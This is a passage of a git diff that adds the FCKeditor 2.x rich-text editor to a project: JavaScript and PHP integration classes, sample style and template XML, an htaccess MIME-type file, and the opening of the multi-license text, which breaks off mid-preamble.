+               oTextarea.style.display = 'none' ;
+               this._InsertHtmlBefore( this._GetConfigHtml(), oTextarea ) ;
+               this._InsertHtmlBefore( this._GetIFrameHtml(), oTextarea ) ;
+       }
+}
+
+FCKeditor.prototype._InsertHtmlBefore = function( html, element )
+{
+       if ( element.insertAdjacentHTML )       // IE
+               element.insertAdjacentHTML( 'beforeBegin', html ) ;
+       else                                                            // Gecko
+       {
+               var oRange = document.createRange() ;
+               oRange.setStartBefore( element ) ;
+               var oFragment = oRange.createContextualFragment( html );
+               element.parentNode.insertBefore( oFragment, element ) ;
+       }
+}
+
+FCKeditor.prototype._GetConfigHtml = function()
+{
+       var sConfig = '' ;
+       for ( var o in this.Config )
+       {
+               if ( sConfig.length > 0 ) sConfig += '&amp;' ;
+               sConfig += encodeURIComponent( o ) + '=' + encodeURIComponent( this.Config[o] ) ;
+       }
+
+       return '<input type="hidden" id="' + this.InstanceName + '___Config" value="' + sConfig + '" style="display:none" />' ;
+}
+
+FCKeditor.prototype._GetIFrameHtml = function()
+{
+       var sFile = 'fckeditor.html' ;
+       
+       try
+       {
+               if ( (/fcksource=true/i).test( window.top.location.search ) )
+                       sFile = 'fckeditor.original.html' ;
+       }
+       catch (e) { /* Ignore it. Much probably we are inside a FRAME where the "top" is in another domain (security error). */ }
+
+       var sLink = this.BasePath + 'editor/' + sFile + '?InstanceName=' + encodeURIComponent( this.InstanceName ) ;
+       if (this.ToolbarSet) sLink += '&amp;Toolbar=' + this.ToolbarSet ;
+
+       return '<iframe id="' + this.InstanceName + '___Frame" src="' + sLink + '" width="' + this.Width + '" height="' + this.Height + '" frameborder="0" scrolling="no"></iframe>' ;
+}
+
+FCKeditor.prototype._IsCompatibleBrowser = function()
+{
+       return FCKeditor_IsCompatibleBrowser( this.EnableSafari, this.EnableOpera ) ;
+}
+
+FCKeditor.prototype._ThrowError = function( errorNumber, errorDescription )
+{
+       this.ErrorNumber                = errorNumber ;
+       this.ErrorDescription   = errorDescription ;
+
+       if ( this.DisplayErrors )
+       {
+               document.write( '<div style="COLOR: #ff0000">' ) ;
+               document.write( '[ FCKeditor Error ' + this.ErrorNumber + ': ' + this.ErrorDescription + ' ]' ) ;
+               document.write( '</div>' ) ;
+       }
+
+       if ( typeof( this.OnError ) == 'function' )
+               this.OnError( this, errorNumber, errorDescription ) ;
+}
+
+FCKeditor.prototype._HTMLEncode = function( text )
+{
+       if ( typeof( text ) != "string" )
+               text = text.toString() ;
+
+       text = text.replace(
+               /&/g, "&amp;").replace(
+               /"/g, "&quot;").replace(
+               /</g, "&lt;").replace(
+               />/g, "&gt;") ;
+
+       return text ;
+}
+
+function FCKeditor_IsCompatibleBrowser( enableSafari, enableOpera )
+{
+       var sAgent = navigator.userAgent.toLowerCase() ;
+
+       // Internet Explorer
+       if ( sAgent.indexOf("msie") != -1 && sAgent.indexOf("mac") == -1 && sAgent.indexOf("opera") == -1 )
+       {
+               var sBrowserVersion = navigator.appVersion.match(/MSIE (.\..)/)[1] ;
+               return ( sBrowserVersion >= 5.5 ) ;
+       }
+
+       // Gecko (Opera 9 tries to behave like Gecko at this point).
+       if ( navigator.product == "Gecko" && navigator.productSub >= 20030210 && !( typeof(opera) == 'object' && opera.postError ) )
+               return true ;
+
+       // Opera
+       if ( enableOpera && navigator.appName == 'Opera' && parseInt( navigator.appVersion, 10 ) >= 9 )
+                       return true ;
+
+       // Safari
+       if ( enableSafari && sAgent.indexOf( 'safari' ) != -1 )
+               return ( sAgent.match( /safari\/(\d+)/ )[1] >= 312 ) ;  // Build must be at least 312 (1.3)
+
+       return false ;
+}
\ No newline at end of file
diff --git a/fckeditor/fckeditor.php b/fckeditor/fckeditor.php
new file mode 100755 (executable)
index 0000000..80e45bb
--- /dev/null
@@ -0,0 +1,37 @@
+<?php 
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fckeditor.php
+ *     This is the integration file for PHP (All versions).
+ *     
+ *     It loads the correct integration file based on the PHP version (avoinding
+ *     strict error messages with PHP 5).
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+if ( version_compare( phpversion(), '5', '<' ) )
+       include_once( 'fckeditor_php4.php' ) ;
+else
+       include_once( 'fckeditor_php5.php' ) ;
+       
+?>
\ No newline at end of file
diff --git a/fckeditor/fckeditor_php4.php b/fckeditor/fckeditor_php4.php
new file mode 100755 (executable)
index 0000000..f880260
--- /dev/null
@@ -0,0 +1,164 @@
+<?php 
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fckeditor_php4.php
+ *     This is the integration file for PHP 4.
+ *     
+ *     It defines the FCKeditor class that can be used to create editor
+ *     instances in PHP pages on server side.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+class FCKeditor
+{
+       var $InstanceName ;
+       var $BasePath ;
+       var $Width ;
+       var $Height ;
+       var $ToolbarSet ;
+       var $Value ;
+       var $Config ;
+       
+       // PHP 4 Contructor
+       function FCKeditor( $instanceName )
+       {
+               $this->InstanceName     = $instanceName ;
+               $this->BasePath         = '/fckeditor/' ;
+               $this->Width            = '100%' ;
+               $this->Height           = '200' ;
+               $this->ToolbarSet       = 'Default' ;
+               $this->Value            = '' ;
+
+               $this->Config           = array() ;
+       }
+
+       function Create()
+       {
+               echo $this->CreateHtml() ;
+       }
+       
+       function CreateHtml()
+       {
+               $HtmlValue = htmlspecialchars( $this->Value ) ;
+
+               $Html = '<div>' ;
+               
+               if ( $this->IsCompatible() )
+               {
+                       if ( isset( $_GET['fcksource'] ) && $_GET['fcksource'] == "true" )
+                               $File = 'fckeditor.original.html' ;
+                       else
+                               $File = 'fckeditor.html' ;
+
+                       $Link = "{$this->BasePath}editor/{$File}?InstanceName={$this->InstanceName}" ;
+                       
+                       if ( $this->ToolbarSet != '' )
+                               $Link .= "&amp;Toolbar={$this->ToolbarSet}" ;
+
+                       // Render the linked hidden field.
+                       $Html .= "<input type=\"hidden\" id=\"{$this->InstanceName}\" name=\"{$this->InstanceName}\" value=\"{$HtmlValue}\" style=\"display:none\" />" ;
+
+                       // Render the configurations hidden field.
+                       $Html .= "<input type=\"hidden\" id=\"{$this->InstanceName}___Config\" value=\"" . $this->GetConfigFieldString() . "\" style=\"display:none\" />" ;
+
+                       // Render the editor IFRAME.
+                       $Html .= "<iframe id=\"{$this->InstanceName}___Frame\" src=\"{$Link}\" width=\"{$this->Width}\" height=\"{$this->Height}\" frameborder=\"0\" scrolling=\"no\"></iframe>" ;
+               }
+               else
+               {
+                       if ( strpos( $this->Width, '%' ) === false )
+                               $WidthCSS = $this->Width . 'px' ;
+                       else
+                               $WidthCSS = $this->Width ;
+
+                       if ( strpos( $this->Height, '%' ) === false )
+                               $HeightCSS = $this->Height . 'px' ;
+                       else
+                               $HeightCSS = $this->Height ;
+
+                       $Html .= "<textarea name=\"{$this->InstanceName}\" rows=\"4\" cols=\"40\" style=\"width: {$WidthCSS}; height: {$HeightCSS}\">{$HtmlValue}</textarea>" ;
+               }
+
+               $Html .= '</div>' ;
+               
+               return $Html ;
+       }
+
+       function IsCompatible()
+       {
+               global $HTTP_USER_AGENT ;
+
+               if ( isset( $HTTP_USER_AGENT ) )
+                       $sAgent = $HTTP_USER_AGENT ;
+               else
+                       $sAgent = $_SERVER['HTTP_USER_AGENT'] ;
+
+               if ( strpos($sAgent, 'MSIE') !== false && strpos($sAgent, 'mac') === false && strpos($sAgent, 'Opera') === false )
+               {
+                       $iVersion = (float)substr($sAgent, strpos($sAgent, 'MSIE') + 5, 3) ;
+                       return ($iVersion >= 5.5) ;
+               }
+               else if ( strpos($sAgent, 'Gecko/') !== false )
+               {
+                       $iVersion = (int)substr($sAgent, strpos($sAgent, 'Gecko/') + 6, 8) ;
+                       return ($iVersion >= 20030210) ;
+               }
+               else
+                       return false ;
+       }
+
+       function GetConfigFieldString()
+       {
+               $sParams = '' ;
+               $bFirst = true ;
+
+               foreach ( $this->Config as $sKey => $sValue )
+               {
+                       if ( $bFirst == false )
+                               $sParams .= '&amp;' ;
+                       else
+                               $bFirst = false ;
+                       
+                       if ( $sValue === true )
+                               $sParams .= $this->EncodeConfig( $sKey ) . '=true' ;
+                       else if ( $sValue === false )
+                               $sParams .= $this->EncodeConfig( $sKey ) . '=false' ;
+                       else
+                               $sParams .= $this->EncodeConfig( $sKey ) . '=' . $this->EncodeConfig( $sValue ) ;
+               }
+               
+               return $sParams ;
+       }
+
+       function EncodeConfig( $valueToEncode )
+       {
+               $chars = array( 
+                       '&' => '%26', 
+                       '=' => '%3D', 
+                       '"' => '%22' ) ;
+
+               return strtr( $valueToEncode,  $chars ) ;
+       }
+}
+
+?>
\ No newline at end of file
diff --git a/fckeditor/fckeditor_php5-1.php b/fckeditor/fckeditor_php5-1.php
new file mode 100644 (file)
index 0000000..3ef704c
--- /dev/null
@@ -0,0 +1,164 @@
+<?php 
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fckeditor_php5.php
+ *     This is the integration file for PHP 5.
+ *     
+ *     It defines the FCKeditor class that can be used to create editor
+ *     instances in PHP pages on server side.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+class FCKeditor
+{
+       var $InstanceName ;
+       var $BasePath ;
+       var $Width ;
+       var $Height ;
+       var $ToolbarSet ;
+       var $Value ;
+       var $Config ;
+
+       // PHP 5 Constructor (by Marcus Bointon <coolbru@users.sourceforge.net>)
+       function __construct( $instanceName )
+       {
+               $this->InstanceName     = $instanceName ;
+               $this->BasePath         = '/fckeditor/' ;
+               $this->Width            = '100%' ;
+               $this->Height           = '200' ;
+               $this->ToolbarSet       = 'Default' ;
+               $this->Value            = '' ;
+
+               $this->Config           = array() ;
+       }
+
+       function Create()
+       {
+               echo $this->CreateHtml() ;
+       }
+       
+       function CreateHtml()
+       {
+               $HtmlValue = htmlspecialchars( $this->Value ) ;
+
+               $Html = '<div>' ;
+               
+               if ( $this->IsCompatible() )
+               {
+                       if ( isset( $_GET['fcksource'] ) && $_GET['fcksource'] == "true" )
+                               $File = 'fckeditor.original.html' ;
+                       else
+                               $File = 'fckeditor2.html' ;
+
+                       $Link = "{$this->BasePath}editor/{$File}?InstanceName={$this->InstanceName}" ;
+                       
+                       if ( $this->ToolbarSet != '' )
+                               $Link .= "&amp;Toolbar={$this->ToolbarSet}" ;
+
+                       // Render the linked hidden field.
+                       $Html .= "<input type=\"hidden\" id=\"{$this->InstanceName}\" name=\"{$this->InstanceName}\" value=\"{$HtmlValue}\" style=\"display:none\" />" ;
+
+                       // Render the configurations hidden field.
+                       $Html .= "<input type=\"hidden\" id=\"{$this->InstanceName}___Config\" value=\"" . $this->GetConfigFieldString() . "\" style=\"display:none\" />" ;
+
+                       // Render the editor IFRAME.
+                       $Html .= "<iframe id=\"{$this->InstanceName}___Frame\" src=\"{$Link}\" width=\"{$this->Width}\" height=\"{$this->Height}\" frameborder=\"0\" scrolling=\"no\"></iframe>" ;
+               }
+               else
+               {
+                       if ( strpos( $this->Width, '%' ) === false )
+                               $WidthCSS = $this->Width . 'px' ;
+                       else
+                               $WidthCSS = $this->Width ;
+
+                       if ( strpos( $this->Height, '%' ) === false )
+                               $HeightCSS = $this->Height . 'px' ;
+                       else
+                               $HeightCSS = $this->Height ;
+
+                       $Html .= "<textarea name=\"{$this->InstanceName}\" rows=\"4\" cols=\"40\" style=\"width: {$WidthCSS}; height: {$HeightCSS}\">{$HtmlValue}</textarea>" ;
+               }
+
+               $Html .= '</div>' ;
+               
+               return $Html ;
+       }
+
+       function IsCompatible()
+       {
+               global $HTTP_USER_AGENT ;
+
+               if ( isset( $HTTP_USER_AGENT ) )
+                       $sAgent = $HTTP_USER_AGENT ;
+               else
+                       $sAgent = $_SERVER['HTTP_USER_AGENT'] ;
+
+               if ( strpos($sAgent, 'MSIE') !== false && strpos($sAgent, 'mac') === false && strpos($sAgent, 'Opera') === false )
+               {
+                       $iVersion = (float)substr($sAgent, strpos($sAgent, 'MSIE') + 5, 3) ;
+                       return ($iVersion >= 5.5) ;
+               }
+               else if ( strpos($sAgent, 'Gecko/') !== false )
+               {
+                       $iVersion = (int)substr($sAgent, strpos($sAgent, 'Gecko/') + 6, 8) ;
+                       return ($iVersion >= 20030210) ;
+               }
+               else
+                       return false ;
+       }
+
+       function GetConfigFieldString()
+       {
+               $sParams = '' ;
+               $bFirst = true ;
+
+               foreach ( $this->Config as $sKey => $sValue )
+               {
+                       if ( $bFirst == false )
+                               $sParams .= '&amp;' ;
+                       else
+                               $bFirst = false ;
+                       
+                       if ( $sValue === true )
+                               $sParams .= $this->EncodeConfig( $sKey ) . '=true' ;
+                       else if ( $sValue === false )
+                               $sParams .= $this->EncodeConfig( $sKey ) . '=false' ;
+                       else
+                               $sParams .= $this->EncodeConfig( $sKey ) . '=' . $this->EncodeConfig( $sValue ) ;
+               }
+               
+               return $sParams ;
+       }
+
+       function EncodeConfig( $valueToEncode )
+       {
+               $chars = array( 
+                       '&' => '%26', 
+                       '=' => '%3D', 
+                       '"' => '%22' ) ;
+
+               return strtr( $valueToEncode,  $chars ) ;
+       }
+}
+
+?>
diff --git a/fckeditor/fckeditor_php5.php b/fckeditor/fckeditor_php5.php
new file mode 100755 (executable)
index 0000000..6106315
--- /dev/null
@@ -0,0 +1,164 @@
+<?php 
+/*
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fckeditor_php5.php
+ *     This is the integration file for PHP 5.
+ *     
+ *     It defines the FCKeditor class that can be used to create editor
+ *     instances in PHP pages on server side.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+ */
+
+class FCKeditor
+{
+       var $InstanceName ;
+       var $BasePath ;
+       var $Width ;
+       var $Height ;
+       var $ToolbarSet ;
+       var $Value ;
+       var $Config ;
+
+       // PHP 5 Constructor (by Marcus Bointon <coolbru@users.sourceforge.net>)
+       function __construct( $instanceName )
+       {
+               $this->InstanceName     = $instanceName ;
+               $this->BasePath         = '/fckeditor/' ;
+               $this->Width            = '100%' ;
+               $this->Height           = '200' ;
+               $this->ToolbarSet       = 'Default' ;
+               $this->Value            = '' ;
+
+               $this->Config           = array() ;
+       }
+
+       function Create()
+       {
+               echo $this->CreateHtml() ;
+       }
+       
+       function CreateHtml()
+       {
+               $HtmlValue = htmlspecialchars( $this->Value ) ;
+
+               $Html = '<div>' ;
+               
+               if ( $this->IsCompatible() )
+               {
+                       if ( isset( $_GET['fcksource'] ) && $_GET['fcksource'] == "true" )
+                               $File = 'fckeditor.original.html' ;
+                       else
+                               $File = 'fckeditor.html' ;
+
+                       $Link = "{$this->BasePath}editor/{$File}?InstanceName={$this->InstanceName}" ;
+                       
+                       if ( $this->ToolbarSet != '' )
+                               $Link .= "&amp;Toolbar={$this->ToolbarSet}" ;
+
+                       // Render the linked hidden field.
+                       $Html .= "<input type=\"hidden\" id=\"{$this->InstanceName}\" name=\"{$this->InstanceName}\" value=\"{$HtmlValue}\" style=\"display:none\" />" ;
+
+                       // Render the configurations hidden field.
+                       $Html .= "<input type=\"hidden\" id=\"{$this->InstanceName}___Config\" value=\"" . $this->GetConfigFieldString() . "\" style=\"display:none\" />" ;
+
+                       // Render the editor IFRAME.
+                       $Html .= "<iframe id=\"{$this->InstanceName}___Frame\" src=\"{$Link}\" width=\"{$this->Width}\" height=\"{$this->Height}\" frameborder=\"0\" scrolling=\"no\"></iframe>" ;
+               }
+               else
+               {
+                       if ( strpos( $this->Width, '%' ) === false )
+                               $WidthCSS = $this->Width . 'px' ;
+                       else
+                               $WidthCSS = $this->Width ;
+
+                       if ( strpos( $this->Height, '%' ) === false )
+                               $HeightCSS = $this->Height . 'px' ;
+                       else
+                               $HeightCSS = $this->Height ;
+
+                       $Html .= "<textarea name=\"{$this->InstanceName}\" rows=\"4\" cols=\"40\" style=\"width: {$WidthCSS}; height: {$HeightCSS}\">{$HtmlValue}</textarea>" ;
+               }
+
+               $Html .= '</div>' ;
+               
+               return $Html ;
+       }
+
+       function IsCompatible()
+       {
+               global $HTTP_USER_AGENT ;
+
+               if ( isset( $HTTP_USER_AGENT ) )
+                       $sAgent = $HTTP_USER_AGENT ;
+               else
+                       $sAgent = $_SERVER['HTTP_USER_AGENT'] ;
+
+               if ( strpos($sAgent, 'MSIE') !== false && strpos($sAgent, 'mac') === false && strpos($sAgent, 'Opera') === false )
+               {
+                       $iVersion = (float)substr($sAgent, strpos($sAgent, 'MSIE') + 5, 3) ;
+                       return ($iVersion >= 5.5) ;
+               }
+               else if ( strpos($sAgent, 'Gecko/') !== false )
+               {
+                       $iVersion = (int)substr($sAgent, strpos($sAgent, 'Gecko/') + 6, 8) ;
+                       return ($iVersion >= 20030210) ;
+               }
+               else
+                       return false ;
+       }
+
+       function GetConfigFieldString()
+       {
+               $sParams = '' ;
+               $bFirst = true ;
+
+               foreach ( $this->Config as $sKey => $sValue )
+               {
+                       if ( $bFirst == false )
+                               $sParams .= '&amp;' ;
+                       else
+                               $bFirst = false ;
+                       
+                       if ( $sValue === true )
+                               $sParams .= $this->EncodeConfig( $sKey ) . '=true' ;
+                       else if ( $sValue === false )
+                               $sParams .= $this->EncodeConfig( $sKey ) . '=false' ;
+                       else
+                               $sParams .= $this->EncodeConfig( $sKey ) . '=' . $this->EncodeConfig( $sValue ) ;
+               }
+               
+               return $sParams ;
+       }
+
+       function EncodeConfig( $valueToEncode )
+       {
+               $chars = array( 
+                       '&' => '%26', 
+                       '=' => '%3D', 
+                       '"' => '%22' ) ;
+
+               return strtr( $valueToEncode,  $chars ) ;
+       }
+}
+
+?>
\ No newline at end of file
diff --git a/fckeditor/fckstyles.xml b/fckeditor/fckstyles.xml
new file mode 100755 (executable)
index 0000000..32e1ccf
--- /dev/null
@@ -0,0 +1,56 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fckstyles.xml
+ *     This is the sample style definitions file. It makes the styles combo
+ *     completely customizable.
+ *     See FCKConfig.StylesXmlPath in the configuration file.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<Styles>
+       <Style name="Image on Left" element="img">
+               <Attribute name="style" value="padding: 5px; margin-right: 5px" />
+               <Attribute name="border" value="2" />
+               <Attribute name="align" value="left" />
+       </Style>
+       <Style name="Image on Right" element="img">
+               <Attribute name="style" value="padding: 5px; margin-left: 5px" />
+               <Attribute name="border" value="2" />
+               <Attribute name="align" value="right" />
+       </Style>
+       <Style name="Custom Bold" element="span">
+               <Attribute name="style" value="font-weight: bold;" />
+       </Style>
+       <Style name="Custom Italic" element="em" />
+       <Style name="Title" element="span">
+               <Attribute name="class" value="Title" />
+       </Style>
+       <Style name="Code" element="span">
+               <Attribute name="class" value="Code" />
+       </Style>
+       <Style name="Title H3" element="h3" />
+       <Style name="Custom Ruler" element="hr">
+               <Attribute name="size" value="1" />
+               <Attribute name="color" value="#ff0000" />
+       </Style>
+</Styles>
\ No newline at end of file
diff --git a/fckeditor/fcktemplates.xml b/fckeditor/fcktemplates.xml
new file mode 100755 (executable)
index 0000000..d3d1dbc
--- /dev/null
@@ -0,0 +1,106 @@
+<?xml version="1.0" encoding="utf-8" ?>
+<!--
+ * FCKeditor - The text editor for Internet - http://www.fckeditor.net
+ * Copyright (C) 2003-2007 Frederico Caldeira Knabben
+ * 
+ * == BEGIN LICENSE ==
+ * 
+ * Licensed under the terms of any of the following licenses at your
+ * choice:
+ * 
+ *  - GNU General Public License Version 2 or later (the "GPL")
+ *    http://www.gnu.org/licenses/gpl.html
+ * 
+ *  - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+ *    http://www.gnu.org/licenses/lgpl.html
+ * 
+ *  - Mozilla Public License Version 1.1 or later (the "MPL")
+ *    http://www.mozilla.org/MPL/MPL-1.1.html
+ * 
+ * == END LICENSE ==
+ * 
+ * File Name: fcktemplates.xml
+ *     This is the sample templates definitions file. It makes the "templates" 
+ *     command completely customizable.
+ *     See FCKConfig.TemplatesXmlPath in the configuration file.
+ * 
+ * File Authors:
+ *             Frederico Caldeira Knabben (www.fckeditor.net)
+-->
+<Templates imagesBasePath="fck_template/images/">
+       <Template title="Image and Title" image="template1.gif">
+               <Description>One main image with a title and text that surround the image.</Description>
+               <Html>
+                       <![CDATA[
+                               <img style="MARGIN-RIGHT: 10px" height="100" alt="" width="100" align="left"/>
+                               <h3>Type the title here</h3>
+                               Type the text here
+                       ]]>
+               </Html>
+       </Template>
+       <Template title="Strange Template" image="template2.gif">
+               <Description>A template that defines two colums, each one with a title, and some text.</Description>
+               <Html>
+                       <![CDATA[
+                               <table cellspacing="0" cellpadding="0" width="100%" border="0">
+                                       <tbody>
+                                               <tr>
+                                                       <td width="50%">
+                                                       <h3>Title 1</h3>
+                                                       </td>
+                                                       <td>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </td>
+                                                       <td width="50%">
+                                                       <h3>Title 2</h3>
+                                                       </td>
+                                               </tr>
+                                               <tr>
+                                                       <td>Text 1</td>
+                                                       <td>&nbsp;</td>
+                                                       <td>Text 2</td>
+                                               </tr>
+                                       </tbody>
+                               </table>
+                               More text goes here.
+                       ]]>
+               </Html>
+       </Template>
+       <Template title="Text and Table" image="template3.gif">
+               <Description>A title with some text and a table.</Description>
+               <Html>
+                       <![CDATA[
+                               <table align="left" width="80%" border="0" cellspacing="0" cellpadding="0"><tr><td>
+                                       <h3>Title goes here</h3>
+                                       <p>
+                                       <table style="FLOAT: right" cellspacing="0" cellpadding="0" width="150" border="1">
+                                               <tbody>
+                                                       <tr>
+                                                               <td align="center" colspan="3"><strong>Table title</strong></td>
+                                                       </tr>
+                                                       <tr>
+                                                               <td>&nbsp;</td>
+                                                               <td>&nbsp;</td>
+                                                               <td>&nbsp;</td>
+                                                       </tr>
+                                                       <tr>
+                                                               <td>&nbsp;</td>
+                                                               <td>&nbsp;</td>
+                                                               <td>&nbsp;</td>
+                                                       </tr>
+                                                       <tr>
+                                                               <td>&nbsp;</td>
+                                                               <td>&nbsp;</td>
+                                                               <td>&nbsp;</td>
+                                                       </tr>
+                                                       <tr>
+                                                               <td>&nbsp;</td>
+                                                               <td>&nbsp;</td>
+                                                               <td>&nbsp;</td>
+                                                       </tr>
+                                               </tbody>
+                                       </table>
+                                       Type the text here</p>
+                               </td></tr></table>
+                       ]]>
+               </Html>
+       </Template>
+</Templates>
diff --git a/fckeditor/htaccess.txt b/fckeditor/htaccess.txt
new file mode 100755 (executable)
index 0000000..0ba7023
--- /dev/null
@@ -0,0 +1,44 @@
+#
+#  FCKeditor - The text editor for Internet - http://www.fckeditor.net
+#  Copyright (C) 2003-2007 Frederico Caldeira Knabben
+# 
+#  == BEGIN LICENSE ==
+# 
+#  Licensed under the terms of any of the following licenses at your
+#  choice:
+# 
+#   - GNU General Public License Version 2 or later (the "GPL")
+#     http://www.gnu.org/licenses/gpl.html
+#  
+#   - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+#     http://www.gnu.org/licenses/lgpl.html
+#  
+#   - Mozilla Public License Version 1.1 or later (the "MPL")
+#     http://www.mozilla.org/MPL/MPL-1.1.html
+#  
+#  == END LICENSE ==
+#
+# ----------------------------------------------------------------------------- 
+#
+# On some specific Linux installations you could face problems with Firefox. 
+# It could give you errors when loading the editor saying that some illegal
+# characters were found (three strange chars in the beginning of the file).
+# This could happen if you map the .js or .css files to PHP, for example.
+#
+# Those characters are the Byte Order Mask (BOM) of the Unicode encoded files.
+# All FCKeditor files are Unicode encoded.
+#
+# Just rename this file to ".htaccess" and leave it in the editor directory. 
+# There are no security issues on doing it. It just sets the ".js" and ".css" 
+# files to their correct content types.
+#
+
+AddType application/x-javascript .js
+AddType text/css .css
+
+#
+# If PHP is mapped to handle XML files, you could have some issues. The
+# following will disable it.
+#
+
+AddType text/xml .xml
diff --git a/fckeditor/license.txt b/fckeditor/license.txt
new file mode 100755 (executable)
index 0000000..776d133
--- /dev/null
@@ -0,0 +1,1247 @@
+FCKeditor - The text editor for Internet - http://www.fckeditor.net
+Copyright (C) 2003-2007 Frederico Caldeira Knabben
+
+Licensed under the terms of any of the following licenses at your
+choice:
+
+ - GNU General Public License Version 2 or later (the "GPL")
+   http://www.gnu.org/licenses/gpl.html
+   (See Appendix A)
+
+ - GNU Lesser General Public License Version 2.1 or later (the "LGPL")
+   http://www.gnu.org/licenses/lgpl.html
+   (See Appendix B)
+
+ - Mozilla Public License Version 1.1 or later (the "MPL")
+   http://www.mozilla.org/MPL/MPL-1.1.html
+   (See Appendix C)
+
+You are not required to, but if you want to explicitly declare the
+license you have chosen to be bound to when using, reproducing,
+modifying and distributing this software, just include a text file
+titled "legal.txt" in your version of this software, indicating your
+license choice. In any case, your choice will not restrict any
+recipient of your version of this software to use, reproduce, modify
+and distribute this software under any of the above licenses.
+
+Appendix A: The GPL License
+===========================
+
+                   GNU GENERAL PUBLIC LICENSE
+                      Version 2, June 1991
+
+ Copyright (C) 1989, 1991 Free Software Foundation, Inc.,
+ 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
+ Everyone is permitted to copy and distribute verbatim copies
+ of this license document, but changing it is not allowed.
+
+                           Preamble
+
+  The licenses for most software are designed to take away your
+freedom to share and change it.  By contrast, the GNU General Public
+License is intended to guarantee your freedom to share and change free
+software--to make sure the software is free for all its users.  This
+General Public License applies to most of the Free Software
+Foundation's software and to any other program whose authors commit to
+using it.  (Some other Free Software Foundation software is covered by
+the GNU Lesser General Public License instead.)  You can apply it to
+your programs, too.
+
+  When we speak of free software, we are referring to freedom, not
+price.  Our General Public Licenses are designed to make sure that you
+have the freedom to distribute copies of free software (and charge for
+this service if you wish), that you receive source code or can get it
+if you want it, that you can change the software or use pieces of it
+in new free programs; and that you know you can do these things.
+
+  To protect your rights, we need to make restrictions that forbid
+anyone to deny you these rights or to ask you to surrender the rights.
+These restrictions translate to certain responsibilities for you if you
+distribute copies of the software, or if you modify it.
+
+  For example, if you distribute copies of such a program, whether
+gratis or for a fee, you must give the recipients all the rights that
+you have.  You must make sure that they, too, receive or can get the
+source code.  And you must show them these terms so they know their
+rights.
+
+  We protect your rights with two steps: (1) copyright the software, and
+(2) offer you this license which gives you legal permission to copy,
+distribute and/or modify the software.
+
+  Also, for each author's protection and ours, we want to make certain
+that everyone understands that there is no warranty for this free
+software.  If the software is modified by someone else and passed on, we
+want its recipients to know that what they have is not the original, so
+that any problems introduced by others will not reflect on the original
+authors' reputations.
+
+  Finally, any free program is threatened constantly by software
+patents.  We wish to avoid the danger that redistributors of a free
+program will individually obtain patent licenses, in effect making the
+program proprietary.  To prevent this, we have made it clear that any
